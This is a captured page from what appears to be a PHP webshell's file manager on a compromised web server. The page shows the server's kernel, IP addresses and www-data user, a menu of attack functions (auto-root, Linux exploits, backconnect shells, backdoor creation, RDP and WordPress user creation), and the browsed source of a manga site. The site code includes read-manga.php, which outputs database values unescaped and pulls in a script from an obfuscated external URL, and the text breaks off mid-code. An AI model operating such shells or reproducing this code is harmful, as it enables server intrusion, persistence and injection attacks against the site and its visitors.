Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangalegend /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
404.php
5.35
KB
-rw-rw-r--
752080a790.php
6.42
KB
-rw-rw-r--
99ec2cfd235e6eff303e.txt
20
B
-rw-rw-r--
actions.php
4.3
KB
-rw-rw-r--
ads.txt
3
B
-rw-rw-r--
datasource.php
3.09
KB
-rw-rw-r--
dbhelper.php
31.2
KB
-rw-rw-r--
discord.webp
5.65
KB
-rw-rw-r--
footer.php
94.91
KB
-rw-rw-r--
genre.php
16.81
KB
-rw-rw-r--
head.php
877
B
-rw-rw-r--
header.php
27.22
KB
-rw-rw-r--
history.php
8.39
KB
-rw-rw-r--
home.php
49.2
KB
-rw-rw-r--
index.php
21.64
KB
-rw-rw-r--
install_webapp.php
6.63
KB
-rw-rw-r--
manifest.json
442
B
-rw-rw-r--
most-viewed.php
11.23
KB
-rw-rw-r--
new-manga.php
16.71
KB
-rw-rw-r--
privacy-policy.php
13.92
KB
-rw-rw-r--
pubfuture_script.php
123
B
-rw-rw-r--
read-manga.php
47.96
KB
-rw-rw-r--
reading.php
46.61
KB
-rw-rw-r--
robots.txt
72
B
-rw-rw-r--
search.php
17.36
KB
-rw-rw-r--
seo.php
1.33
KB
-rw-rw-r--
sitemap.xml
880.79
KB
-rw-rw-r--
style_css.php
99.57
KB
-rw-rw-r--
terms-of-service.php
25.23
KB
-rw-rw-r--
weekly-manga.php
17.44
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : read-manga.php
<!DOCTYPE html> <html lang="en" data-fp="5h93d476r16"> <?php if (session_status() === PHP_SESSION_NONE) { session_start(); } require_once(__DIR__ . "/dbhelper.php"); $dbhelper = new DBHelper(); //$manga = $dbhelper->getManga($_GET['manga_id'])[0]; $manga = $dbhelper->getMangaByTitle($_GET['title'])[0]; if(empty($manga['id'])) { echo '<script> location.replace("404.php"); </script>'; } $chapters = $dbhelper->getMangaChapters($manga['id']); $relatedMangas = $dbhelper->getRelatedMangas($manga['id']); $mostViews = $dbhelper->getMangaGenreMostView($manga['id']); $badWords = ["fuck", "Fuck"]; function censorBadWords($input, $badWords) { foreach ($badWords as $badWord) { $pattern = '/\b' . preg_quote($badWord, '/') . '\b/i'; $replacement = str_repeat('*', strlen($badWord)); $input = preg_replace($pattern, $replacement, $input); } return $input; } ?> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title><?= $manga['title'] ?> Manga Free On MangaLegend</title> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1"> <meta data-n-head="ssr" name="format-detection" content="telephone=no"> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta data-n-head="ssr" data-hid="robots" name="robots" content="index, follow, all"> <meta data-n-head="ssr" data-hid="googlebot" name="googlebot" content="index, follow, all"> <link data-n-head="ssr" rel="icon" variant="image/x-icon" href="/favicon.ico?v=1"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.min.css"> <link data-n-head="ssr" rel="canonical" href="https://mangalegend.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>"> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <meta data-n-head="ssr" data-hid="title" name="title" content="<?= $manga['title'] ?> Manga Free On MangaLegend"> <meta data-n-head="ssr" data-hid="og:title" property="og:title" name="og:title" content="<?= $manga['title'] ?> Manga Free On MangaLegend"> <meta data-n-head="ssr" data-hid="description" name="description" content="Read <?= $manga['title'] ?> Manga Free On MangaLegend, Catch the latest manga releases chapter with high-quality images. Online read NOW!"> <meta data-n-head="ssr" data-hid="og:description" property="og:description" name="og:description" content="Read <?= $manga['title'] ?> Manga Free On MangaLegend, Catch the latest manga releases chapter with high-quality images. Online read NOW!"> <meta data-n-head="ssr" data-hid="og:site_name" property="og:site_name" content="mangalegend.com"> <meta data-n-head="ssr" data-hid="og:url" name="og:url" content="https://mangalegend.com/"> <meta data-n-head="ssr" data-hid="i18n-og" property="og:locale" content="en"> <meta data-n-head="ssr" data-hid="og:image" property="og:image" content="https://mangalegend.com/manga_og.jpg" /> <?php if($manga['id'] < 0) { ?> <?php include('head2.php'); ?> <?php } else { ?> <?php include('head.php'); ?> <?php } ?> <?php include('pubfuture_script.php'); ?> </head> <?php include('style_css.php'); ?> <link rel="stylesheet" href="//cdn.datatables.net/2.0.7/css/dataTables.dataTables.min.css"> <body class="dark-mode"> <style> .owl-theme img { height: 160px; overflow: hidden; } .owl-carousel .owl-prev, .owl-carousel .owl-next { position: absolute; top: 40%; transform: translateY(-50%); background-color: rgb(212, 212, 212) !important; color: #000 !important; font-size: 1.5em !important; width: 40px; height: 40px; border-radius: 100% !important; font-weight: bold; padding: 15px !important; text-align: center; } .owl-carousel .owl-prev:hover, .owl-carousel .owl-next:hover { background-color: #ffb000 !important; color: #000 !important; } .owl-carousel .owl-prev { left: -30px; } .owl-carousel .owl-next { right: -30px; } .owl-theme .owl-dots .owl-dot.active span { background: #ff9c00 !important; width: 25px; transition: 0.2s ease-in-out; } .owl-theme .owl-dots .owl-dot:hover span { background: #ff9c00 !important; transition: 0.2s ease-in-out; } /* Responsive design custom css */ .desktop-view { display: block; } .mobile-view { display: none; } @media only screen and (max-width:480px) { .owl-theme .owl-dots .owl-dot { display: none; } .owl-carousel .owl-prev, .owl-carousel .owl-next { width: 30px; height: 30px; font-size: 14px !important; top: 45%; box-shadow: 0px 0px 0px 0px #000; } .owl-carousel .owl-prev { left: 0px; } .owl-carousel .owl-next { right: 0px; } .desktop-view { display: none; } .mobile-view { display: block; } } .chapters-container[data-v-941321ba] { max-height: 400px; overflow-y: scroll; width: 100%; } .link[data-v-74ec4422] { display: inline-flex; } @media screen and (max-width: 576px) { .manga-comment-container[data-v-0be751c6] { padding: 1rem !important; margin: 1rem 1rem 0 !important; } } .readmore { position: relative; max-height: 192px; overflow: hidden; padding: 10px 0; transition: max-height 0.15s ease-out; } .readmore.expand { max-height: 5000px !important; transition: max-height 0.35s ease-in-out; } .readmore-link { position: absolute; bottom: 0px; right: 0; display: block; width: 100%; height: 60px; line-height: 105px; text-align: center; color: #fff; font-weight: bold; font-size: 16px; padding-top: 150px; background-image: linear-gradient(to bottom, transparent, rgb(31 41 55)); cursor: pointer; } .readmore-link.expand { position: relative; background-image: none; padding-top: 10px; } .readmore-link:after { content: "Read more"; } .readmore-link.expand:after { content: "Read less"; } @media screen and (min-width:768px) { .readmore { overflow: unset; max-height: unset; } .readmore-link { display: none; } } .myButtonad { position: relative; z-index: 1; /* Ensure button is above the layer initially */ } /* Style for the clickable overlay layer */ .click-layer { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0); z-index: 999; /* Make sure the layer is on top of the button */ cursor: pointer; display:none; } </style> <div id="__nuxt"> <!----> <div id="__layout"> <div class="default-container" data-v-5fa6951a=""> <?php include('header.php'); ?> <div id="main-container" class="content-container" data-v-5fa6951a=""> <div data-v-394b8d08="" data-v-5fa6951a=""> <div data-v-394b8d08="" id="fb-root"></div> <div data-v-ca6cf050="" data-v-394b8d08="" class="container py-3"> <div data-v-394b8d08="" data-v-ca6cf050="" class="flex-fill row-responsive"> <div data-v-394b8d08="" data-v-ca6cf050="" class="column"> <div data-v-6be35aa8="" data-v-394b8d08="" class="row breadcrumb-container mb-3" data-v-ca6cf050=""> <a data-v-74ec4422="" data-v-6be35aa8="" href="/" class="link no-decoration row align-center mr-2" title="MangaLegend"> <span data-v-70d8a0c4="" data-v-6be35aa8="" class="one-line text grey small">MangaLegend</span> <svg data-v-6be35aa8="" xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="text-light feather feather-chevron-right"> <polyline data-v-6be35aa8="" points="9 18 15 12 9 6"></polyline> </svg> </a> <a data-v-74ec4422="" data-v-6be35aa8="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>" class="link no-decoration row align-center mr-2" title="<?= $manga['title'] ?>"> <span data-v-70d8a0c4="" data-v-6be35aa8="" class="one-line text grey small"><?= $manga['title'] ?></span> <!----> </a> </div> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <script> (function(vxvxvi){ var d = document, s = d.createElement('script'), l = d.scripts[d.scripts.length - 1]; s.settings = vxvxvi || {}; s.src = "\/\/euphoric-square.com\/bCX.VAsidyGNlZ0-YRWacI\/deWmr9IuLZ\/USlXkDPyTiYo1-M_jREm5nOXDGIztiNsjSUdyqMhT\/kX4EMUwR"; s.async = true; s.referrerPolicy = 'no-referrer-when-downgrade'; l.parentNode.insertBefore(s, l); })({}) </script> </div> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desktop-view"> <div id="pf-12511-1" style="left: -125px!important;"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4ccfe7f6e2003fff4bb2", id: "pf-12511-1"})</script></div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 mobile-view"> <div id="pf-12509-1"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4c9fe7f6e2003fff4b40", id: "pf-12509-1"})</script></div> </div>--> <br> <div data-v-189babae="" data-v-394b8d08="" class="section-container p-3 column" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ff9c00!important;"> Manga Details </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-33875cb2="" data-v-394b8d08="" class="row-responsive py-2" data-v-189babae=""> <div data-v-33875cb2="" class="column"> <img data-v-a1ebd7c8="" data-v-33875cb2="" src="<?= $dbhelper->getImageSource() . $manga['display_image'] ?>" alt="<?= $manga['title'] ?>" title="<?= $manga['title'] ?>" loading="lazy" class="comic-img mb-3"> <?php $showreadnow = 0; if ($showreadnow > 0) { ?> <button data-v-70910ec7="" data-v-33875cb2="" class="mb-2 row justify-center btn-default btn-primary " style="background-color: #f15225;"> READ NOW </button> <?php } ?> <?php $showbookmark = 0; if ($showbookmark > 0) { ?> <button data-v-70910ec7="" data-v-33875cb2="" class="mb-2 row justify-center btn-default btn-primary "> <svg data-v-33875cb2="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="20px" height="20px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="mr-2 feather feather-heart"> <path data-v-33875cb2="" data-v-70910ec7="" d="M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z"></path> </svg> Bookmark </button> <?php } ?> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status"> <?php $m_ratings = $dbhelper->getMangaRatings($manga['id'])[0]; ?> <div data-v-56107fc8="" data-v-33875cb2="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= number_format( $m_ratings['average_rating'], 2) ?> <?php if($m_ratings['total_rating'] > 0) { echo ' / ' . $m_ratings['total_rating'] . ' rating'; } ?></span> </div> </div> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status row"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small">Status</span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text default small"><?= $manga['status'] ?></span> </div> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status row"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small">Views</span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text default small"><?= $manga['chapter_view'] ?> </span> </div> </div> <div data-v-33875cb2="" class="flex-fill column comic-info-container"> <h1 data-v-33875cb2="" class="bold story-name" style="font-size: 1.5em"><?= $manga['title'] ?></h1> <div data-v-25b99098="" data-v-33875cb2="" class="social-container mt-2 justify-start" style="padding: 0 0.5rem;"> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(58, 102, 197);padding: 4px 10px;" onclick="window.open('https:\/\/www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fmangalegend.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>', '_system', 'location=yes');"> <svg data-v-25b99098="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="15px" height="15px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-facebook"> <path data-v-25b99098="" data-v-70910ec7="" d="M18 2h-3a5 5 0 0 0-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 0 1 1-1h3z"></path> </svg> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">facebook </span> </button> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(21, 155, 239);padding: 4px 10px;" onclick="window.open('https:\/\/twitter.com/intent/tweet?url=mangalegend.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>');"> <svg data-v-25b99098="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="15px" height="15px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-twitter"> <path data-v-25b99098="" data-v-70910ec7="" d="M23 3a10.9 10.9 0 0 1-3.14 1.53 4.48 4.48 0 0 0-7.86 3v1A10.66 10.66 0 0 1 3 4s-4 9 5 13a11.64 11.64 0 0 1-7 2c9 5 20 0 20-11.5a4.5 4.5 0 0 0-.08-.83A7.72 7.72 0 0 0 23 3z"></path> </svg> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">twitter </span> </button> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(6, 197, 118);padding: 4px 10px;" onclick="window.open('https:\/\/wa.me/?text=https:\/\/mangalegend.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>');"> <span data-v-25b99098="" data-v-6a8dae3e="" class="row align-center"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" width="15px" height="15px" fill="white"> <path d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"></path> </svg> </span> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">whatsapp </span> </button> <!--<button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(222, 27, 58);padding: 4px 10px;"> <span data-v-25b99098="" data-v-6a8dae3e="" class="row align-center"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512" width="15px" height="15px" fill="white"> <path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path> </svg> </span> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">pinterest </span> </button>--> </div> <div class="readmore"> <span data-v-33875cb2="" data-v-d7ca812e="" class="mt-3 story-desc"><?= $manga['description'] ?></span> <div class="readmore-link"></div> </div> <div data-v-33875cb2="" data-v-6a8dae3e="" class="comic-attrs mt-3"> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Released </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?= $manga['released_date'] ? $manga['released_date'] : 'Not Available' ?> </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Author </span> <div data-v-33875cb2=""> <a data-v-74ec4422="" data-v-33875cb2="" href="/author/oda-eiichiro.1332" class="link no-decoration comic-info-link" title="<?= $manga['author'] ?>"> <?= $manga['author'] ?> </a> </div> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Posted On </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?php $posted_date = new DateTime($manga['created']); $now_date = new DateTime(); $diff = $posted_date->diff($now_date); ?> <?= $diff->y ? $diff->y . ' years' : '' ?> <?php if($diff->y == 0) { ?> <?= $diff->m ? $diff->m . ' months' : '' ?> <?php if($diff->m == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Updated On </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?php $latest_chapter_update = $dbhelper->getLatestChapter($manga['id']); ?> <?php if(sizeof($latest_chapter_update) > 0) { ?> <?php $posted_date = new DateTime($latest_chapter_update[0]['created']); $now_date = new DateTime(); $diff = $posted_date->diff($now_date); ?> <?= $diff->y ? $diff->y . ' years' : '' ?> <?php if($diff->y == 0) { ?> <?= $diff->m ? $diff->m . ' months' : '' ?> <?php if($diff->m == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago <?php } ?> </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Genres </span> <div data-v-33875cb2=""> <?php $genres = explode(", ", $manga['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genre.php?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </div> </div> </div> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 mt-3 bold text default small"> Rate this story </span> <style> label { width: 0; overflow: hidden; } /* You can style inputs directly thanks to appearance:none! */ input.stary { -webkit-appearance: none; -moz-appearance: none; appearance: none; width: 30px; height: 38px; text-align: center; cursor: pointer; padding: 0; box-shadow: none; text-shadow: none; background: none; border-radius: 0; margin: 0; } input.stary::after { content: "☆"; font-size: calc(38px * 3 / 4); line-height: 38px; color: #989898; } input.stary:is(:checked, :hover)::after, input.stary:has(~ input.stary:is(:checked, :hover))::after { content: "★"; color: #ffb000; } input.stary:hover~input.stary::after { content: "☆"; color: #989898; } </style> <div data-v-56107fc8="" data-v-33875cb2="" class="row align-center"> <input class="stary" type="radio" name="rating" id="rating-1" value="1" onclick="updateRating(1)"> <label for="rating-1">1 Star</label> <input class="stary" type="radio" name="rating" id="rating-2" value="2" onclick="updateRating(2)"> <label for="rating-2">2 Stars</label> <input class="stary" type="radio" name="rating" id="rating-3" value="3" onclick="updateRating(3)"> <label for="rating-3">3 Stars</label> <input class="stary" type="radio" name="rating" id="rating-4" value="4" onclick="updateRating(4)"> <label for="rating-4">4 Stars</label> <input class="stary" type="radio" name="rating" id="rating-5" value="5" onclick="updateRating(5)"> <label for="rating-5">5 Stars</label> <!----> </div> <!----> </div> </div> </div> <br> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <div id="pf-15297-1" data-format="display" ><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "6846ae97acfb7803296c127b", id: "pf-15297-1"})</script></div> </div> <br>--> <div data-v-189babae="" data-v-394b8d08="" class="section-container p-3 mt-3" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ff9c00!important;"> <?= $manga['title'] ?> </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-941321ba="" data-v-394b8d08="" data-v-189babae=""> <div data-v-941321ba="" class="row"> <div data-v-22d5330a="" data-v-941321ba="" class="mt-3 py-2 row" style="width: 26%; background: #ff9c00; color: #fff; justify-content: center; border-radius: 10px; font-weight: 700;" data-v-3e2b49c6=""> Chapter </div> </div> <!--<div data-v-941321ba="" class="row"> <div data-v-22d5330a="" data-v-941321ba="" class="mt-3 search-chapter row search-input-container input-dark" data-v-3e2b49c6=""> <input data-v-22d5330a="" type="search" placeholder="Search chapter. Example: 25 or 123"> <button data-v-70910ec7="" data-v-22d5330a="" class="search-btn btn-default btn-primary "> <svg data-v-22d5330a="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"> <circle data-v-22d5330a="" data-v-70910ec7="" cx="11" cy="11" r="8"></circle> <line data-v-22d5330a="" data-v-70910ec7="" x1="21" y1="21" x2="16.65" y2="16.65"></line> </svg> </button> </div> </div>--> <div data-v-941321ba="" class="chapters-container mt-3"> <?php foreach ($chapters as $c) { ?> <?php $today = new DateTime(); $chapterDate = new DateTime($c['created']); if ($chapterDate->format('Y-m-d') === $today->format('Y-m-d')) { ?> <a data-v-74ec4422="" data-v-941321ba="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) .'/'. $c['id'] ?>" class="link no-decoration myButtonad" title="974" data-v-3e2b49c6="" > <div data-v-941321ba="" class="chapter-container column my-2" style="background: #ff9c00;"> <span data-v-70d8a0c4="" data-v-941321ba="" class="text default normal"><?= $c['name'] ?> </span> </div> </a> <?php } else { ?> <a data-v-74ec4422="" data-v-941321ba="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) .'/'. $c['id'] ?>" class="link no-decoration myButtonad" title="974" data-v-3e2b49c6=""> <div data-v-941321ba="" class="chapter-container column my-2"> <span data-v-70d8a0c4="" data-v-941321ba="" class="text default normal"><?= $c['name'] ?> </span> </div> </a> <?php } ?> <?php } ?> </div> </div> </div> <div class="container relative section-list mt-3 related-series" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="section-container p-3 mb-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 class="section-title" data-v-189babae="" style="text-decoration: none!important; color: #ff9c00!important;"> Related Series </h2> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper section-list container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider1"> <?php foreach ($relatedMangas as $rm) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) ?>" title="<?= $rm['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= $dbhelper->getImageSource() . $rm['display_image'] ?>"" alt="<?= $rm['title'] ?>" title="<?= $rm['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""><?= $rm['title'] ?> </a> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) . '/' . 